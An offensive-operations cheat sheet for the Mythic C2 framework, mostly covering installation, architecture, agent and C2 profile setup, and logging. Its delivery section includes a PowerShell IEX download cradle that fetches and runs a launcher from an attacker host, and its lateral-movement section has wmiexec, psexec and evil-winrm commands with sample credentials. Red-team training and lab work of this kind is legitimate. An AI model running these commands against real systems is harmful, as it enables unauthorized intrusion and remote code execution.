Mythic C2

Legend: [SERVER] = Run on the Mythic server host | [CLIENT] = Run in the Mythic web UI | [AGENT] = Run inside an active Mythic callback | [HOST] = Run on attacker host OS

1. What is Mythic

What it means: Mythic is a collaborative, multi-platform, post-exploitation red teaming framework built around Docker containers, a browser-based operator interface, installable payload types, and installable C2 profiles. The project documentation explains that Mythic itself does not ship with payload types or C2 profiles by default, and instead you add them separately through mythic-cli.

Operator Browser UI
 │
 ▼
 Mythic Core Services
 (Nginx / Mythic Server / GraphQL / RabbitMQ / Postgres / Jupyter)
 │
 ├── Payload Type Containers
 └── C2 Profile Containers
 │
 ▼
 Target Callback / Agent

Mythic vs Sliver / Havoc / Empire

Key Concepts

2. Setting Up Mythic

What it means: Mythic is designed to run on Linux with Docker and the Docker Compose plugin, and the docs recommend at least 2 CPU and 4 GB RAM. The installation starts by cloning the main repo, building mythic-cli, configuring .env, and starting the service stack.

2.1 Clone Mythic

git clone https://github.com/its-a-feature/Mythic --depth 1 --single-branch
cd Mythic

2.2 Docker Requirements

# Check Docker version
sudo docker version

Notes from the docs: - Docker server version should be 20.10.22 or above. - Mythic is normally installed on Linux. - On macOS, the docs say to use OrbStack instead of Docker Desktop because host networking is needed for C2 containers.

2.3 Build mythic-cli

sudo make

For macOS:

sudo make macos

The docs say the mythic-cli binary is no longer distributed with the main repo and must be built from the main Mythic folder with sudo make.

2.4 Generate / Configure .env

sudo ./mythic-cli status
# or
sudo ./mythic-cli start

This creates Mythic/.env if it does not already exist, and Mythic uses that file for configuration.

2.5 Start Mythic

sudo ./mythic-cli start

Useful lifecycle commands:

sudo ./mythic-cli stop
sudo ./mythic-cli restart
sudo ./mythic-cli status
sudo ./mythic-cli logs mythic_server

3. Mythic Architecture

What it means: Mythic is composed of multiple core containers plus separate agent and C2 profile containers. The installation docs explicitly identify Nginx, Mythic backend server, Hasura GraphQL, Jupyter, RabbitMQ, Postgres, and documentation as part of the main service layout.

3.1 Core Services

3.2 Important Ports

3.3 Default Access Model

The docs state that NGINX_PORT is the main external port for the web UI, and that most other services bind locally by default rather than being exposed externally. They also note that *_BIND_LOCALHOST_ONLY settings control whether specific services bind to 127.0.0.1 or 0.0.0.0.

4. Installing Agents & C2 Profiles

What it means: Mythic starts with no payload types and no C2 profiles installed, so you must add at least one of each before you can generate payloads. The docs explicitly state that you cannot create payloads until you have at least one agent and a matching C2 profile installed.

4.1 Install a Payload Type

sudo ./mythic-cli install github https://github.com/MythicAgents/apfell

The Mythic repo overview explains that agents are installed from separate GitHub repositories rather than being bundled with Mythic core.

4.2 Install a C2 Profile

sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http

4.3 Force Overwrite During Reinstall

sudo ./mythic-cli install github https://github.com/MythicAgents/apfell -f
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http -f

4.4 List / Inspect Services

sudo ./mythic-cli services
sudo ./mythic-cli status
sudo ./mythic-cli health

4.5 Update Installed Services

sudo ./mythic-cli update

5. Payload Creation

What it means: Payloads in Mythic are created only after you install a compatible payload type and C2 profile. The web UI allows you to combine an agent with a specific C2 profile configuration, and Mythic stores these as container-backed services.

5.1 General Flow

1. Install agent container
2. Install matching C2 profile container
3. Open Mythic web UI
4. Go to Payload Types and C2 Profiles
5. Configure payload parameters
6. Build payload
7. Deliver payload to target

5.2 Example Build Dependencies

Payload generation depends on: - Installed payload type container. - Installed compatible C2 profile. - Operational Mythic core services.

5.3 Common C2 Profile Pairing Example

sudo ./mythic-cli install github https://github.com/MythicAgents/apfell
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http

5.4 UI Location

The docs say C2 profiles are visible from the “Payload Types and C2 Profiles” section in the top navigation bar.

6. Callbacks & Operators

What it means: Mythic is built for collaborative operations, so operator activity is organized inside operations, and active agents appear as callbacks once they check in. The docs also note that if you are not inside an active operation, Mythic cannot provide data for your session.

6.1 Default Admin User

Username: mythic_admin
Password: randomly generated in Mythic/.env on first startup

The installation docs state that mythic_admin is the default username and its initial password is randomly generated when Mythic first starts.

6.2 Operation Context

You must select a current operation in the UI.
Without an active operation, Mythic’s websocket-driven UI will not provide data. 

6.3 Callback Concept

Agent executes on target
 │
 ▼
C2 Profile transports traffic
 │
 ▼
Mythic registers a callback in the operation

6.4 Collaborative Model

Mythic describes itself as a collaborative red teaming framework, meaning multiple operators can work within the same operation and share data such as callbacks, files, credentials, and tasking results.

7. Tasks, Responses, and Jobs

What it means: Mythic routes tasking and responses through service containers and RabbitMQ, and the framework tracks task lifecycle events such as task_new and task_completed. The logging section in the docs explicitly lists these event types.

7.1 Logged Task Events

7.2 General Task Flow

Operator creates task
 │
 ▼
Mythic routes tasking to service/container
 │
 ▼
C2 profile + payload type coordinate with callback
 │
 ▼
Response returns to Mythic UI

7.3 RabbitMQ Role

The C2 profile docs state that each C2 profile container runs a Python or Go service that connects to RabbitMQ to receive tasking and perform actions across containers.

8. Files, Credentials, and Logging

What it means: Mythic tracks uploaded files, downloaded files, screenshots, credentials, and many other operation artifacts as structured events. The docs list these logging event categories and also describe the optional basic_logger profile for SIEM-style logging.

8.1 File Events

8.2 Credential / Callback Events

8.3 Install the Basic Logger

sudo ./mythic-cli install github https://github.com/MythicC2Profiles/basic_logger

The docs explain that basic_logger listens on the emit_log RabbitMQ queue and can be modified to send events to stdout, files, or a SIEM.

8.4 Rebuild the Logger After Changes

sudo ./mythic-cli build basic_logger

9. C2 Profiles

What it means: In Mythic, C2 profiles define how callbacks communicate with the Mythic server, and each profile has two pieces: server-side code in a container and agent-side code in the callback. The documentation says every C2 profile runs in its own Docker container and exposes profile-specific traffic flow and OPSEC docs through the local documentation site.

9.1 C2 Profile Structure

9.2 Where to Find Them

Top navigation bar → Payload Types and C2 Profiles

This path is explicitly documented in the C2 profile overview.

9.3 How They Work

Each C2 profile: - Runs in its own Docker container. - Has a Python or Go service connected to RabbitMQ. - Can expose local documentation with profile-specific OPSEC notes.

9.4 Example Install Commands

sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/smb
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/github

The GitHub-based install format is the documented standard for C2 profile installation.

10. Initial Access — Delivery

What it means: Mythic itself is the post-exploitation / C2 framework, so initial access still comes from phishing, exploitation, credential abuse, or another loader. After access, you deploy a Mythic-generated payload that matches the installed agent and C2 profile.

10.1 Build Then Deliver

1. Install agent + C2 profile
2. Build payload in Mythic
3. Deliver via:
 - phishing attachment
 - shell access / RCE
 - SMB dropper
 - LOLBin download cradle
4. Wait for callback

10.2 Example Host-and-Run Flow

python3 -m http.server 8080

powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8080/launcher.ps1')"

10.3 Validate Callback

Open the active operation in Mythic
Look for a new callback registration in the UI

Callback registration is tracked as callback_new in Mythic logging.

11. Privilege Escalation

What it means: Mythic does not impose one universal privilege escalation workflow because capabilities come from the installed payload type and supported commands/modules. In practice, privesc depends on which Mythic agent you installed and which commands that agent exposes.

11.1 General Workflow

Low-priv callback
 │
 ├── situational awareness
 ├── token / process / service abuse
 ├── execute external tooling
 └── return results to Mythic

11.2 Practical Reality

Because Mythic separates core, payload types, and C2 profiles, the exact privilege escalation commands are agent-specific rather than universal. The docs emphasize that Mythic core installs no payload types by default, so functionality comes from whatever agent repository you install.

11.3 Common Agent-Driven Options

Depending on agent:
- token manipulation
- service abuse
- UAC bypass helpers
- .NET assembly execution
- BOF / PE tasking

12. Lateral Movement & Pivoting

What it means: Like privilege escalation, lateral movement in Mythic depends on the installed payload type and C2 profile, but Mythic does support alternate communication paths through different C2 profiles such as SMB and GitHub. The SMB profile repo describes named-pipe P2P communications, and Mythic’s design allows different transports to be installed separately.

12.1 Alternate C2 Transports

Examples:
- HTTP
- SMB
- GitHub
- Other custom profiles

These profiles are installed independently and run as their own containers.

12.2 SMB Example

The Mythic SMB C2 profile repository describes SMB-based peer-to-peer communications using named pipes.

12.3 General Pivot Model

External callback
 │
 ▼
Alternative C2 profile / P2P channel
 │
 ▼
Internal host callback

12.4 Delivery for Lateral Callbacks

wmiexec.py lab.local/user:Pass123!@<TARGET_IP> "<payload launcher>"
psexec.py lab.local/user:Pass123!@<TARGET_IP> "<payload launcher>"
evil-winrm -i <TARGET_IP> -u user -p 'Pass123!'

13. Automation & Scripting

What it means: Mythic includes a Jupyter container and exposes a structured CLI plus service/container model that is well suited for automation. The installation docs list mythic_jupyter as a core service, and the mythic-cli command set includes install, build, test, logs, backup, restore, and health operations.

13.1 Jupyter Service

Jupyter Console: http://127.0.0.1:8888 by default 

13.2 Useful CLI Commands

sudo ./mythic-cli help
sudo ./mythic-cli status
sudo ./mythic-cli services
sudo ./mythic-cli logs mythic_server
sudo ./mythic-cli test
sudo ./mythic-cli backup
sudo ./mythic-cli restore

13.3 Why Automation Fits Mythic

Mythic’s containerized design, service separation, logging hooks, and Jupyter integration make it especially friendly for scripted operations, repeatable lab setups, and custom workflow tooling.

14. Detection & OPSEC

What it means: Mythic’s OPSEC characteristics depend heavily on the chosen payload type and C2 profile, because Mythic core only provides the platform. The C2 profile documentation explicitly says the local documentation container provides profile-specific OPSEC and traffic-flow guidance for each installed profile.

14.1 Key OPSEC Reality

Mythic core ≠ one fixed traffic pattern
Detection depends on:
- payload type
- C2 profile
- hosting choices
- operator behavior

This flexibility is one of Mythic’s strengths, but it also means defenders may detect the chosen agent/profile rather than Mythic itself.

14.2 Exposure Considerations

The docs note: - NGINX_PORT is the main web UI port to expose. - Most other services bind locally by default. - If running remote services, you may need RABBITMQ_BIND_LOCALHOST_ONLY=false and MYTHIC_SERVER_BIND_LOCALHOST_ONLY=false.

14.3 Useful Troubleshooting / Exposure Checks

sudo ./mythic-cli status
sudo ./mythic-cli health
sudo ./mythic-cli logs mythic_nginx
sudo ./mythic-cli logs mythic_server

14.4 Browser-Side Debugging

The install docs recommend checking browser developer tools and the network tab if the UI appears broken or empty. They also note that lack of an active operation can make the interface appear to have no data.

15. Master Cheat Sheet

Install & Start

git clone https://github.com/its-a-feature/Mythic --depth 1 --single-branch
cd Mythic
sudo make
sudo ./mythic-cli start

Status & Logs

sudo ./mythic-cli status
sudo ./mythic-cli health
sudo ./mythic-cli logs mythic_server
sudo ./mythic-cli logs mythic_nginx

Install Agent + C2 Profile

sudo ./mythic-cli install github https://github.com/MythicAgents/apfell
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http

Useful CLI

sudo ./mythic-cli services
sudo ./mythic-cli test
sudo ./mythic-cli update
sudo ./mythic-cli stop
sudo ./mythic-cli restart

Core Defaults

Web UI: https://<server>:7443
Default username: mythic_admin
Initial password: stored in Mythic/.env after first start

Decision Tree

Fresh Mythic install?
│
├── Build mythic-cli
├── Start Mythic
├── Confirm containers are healthy
│
├── Install at least one payload type
├── Install at least one matching C2 profile
│
├── Open web UI on port 7443
├── Select an active operation
├── Build payload
│
├── Deliver payload to target
├── Wait for callback
│
├── Task callback
│ ├── file ops
│ ├── recon
│ ├── privesc (agent-specific)
│ └── lateral movement / pivoting (agent + C2 specific)
│
└── Log, automate, and export data as needed